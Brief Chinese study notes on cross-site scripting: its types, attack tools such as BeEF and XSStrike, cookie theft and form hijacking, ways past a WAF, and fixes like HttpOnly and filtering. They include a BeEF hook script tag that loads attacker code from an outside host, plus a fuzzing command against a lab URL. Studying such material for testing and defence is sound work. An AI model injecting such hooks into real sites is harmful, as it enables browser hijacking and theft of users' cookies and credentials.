原理
XSS的本质:如果网页对参数进行回显,传递的参数的的值可控,如果传递一些恶意的js前端代码,被浏览器执行。会造成攻击。即没有对文件显示过程进行过滤检测。
执行效果跟浏览器的版本有关。
分类
反射型
反射型XSS只是简单的把用户输入的数据“反射”给浏览器,特点为单击时触发,执行一次。
存储型
存储型XSS是将输入的数据存入了数据库,每次访问这个页面都会被触发。例如留言板、评论区……
DOM型
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。
简单来说就是发生在前端,与后端不进行交互。
手法
XSS平台使用
可以通过一些线上的xss平台,发送对应的js代码到靶机,然后在平台可以查看一些信息。
XSS工具使用
beef
beef-xss
然后浏览器访问http://ip:3000/ui/panel
钩子:
<script src="http://<IP>:3000/hook.js"></script>
XSStrike-master
python xsstrike.py -u “http://127.0.0.1/xss/level1.php?name=" –fuzzer
XSS结合其他漏洞
绕过
代码绕过
xsslabs,不做重点。
http only
http only 开启之后无法获取cookie
浏览器未保存密码:需要xss产生登录地址,利用表单劫持,这种比较鸡肋。
浏览器保存账号密码:产生在后台的xss,存储型xss如留言,浏览器读取账号密码。
WAF拦截
标签语法替换
特殊符号干扰
提交方式更改
垃圾数据溢出
加密解密算法
结合其它漏洞绕过
修复
开启httponly,输入过滤,输出过滤等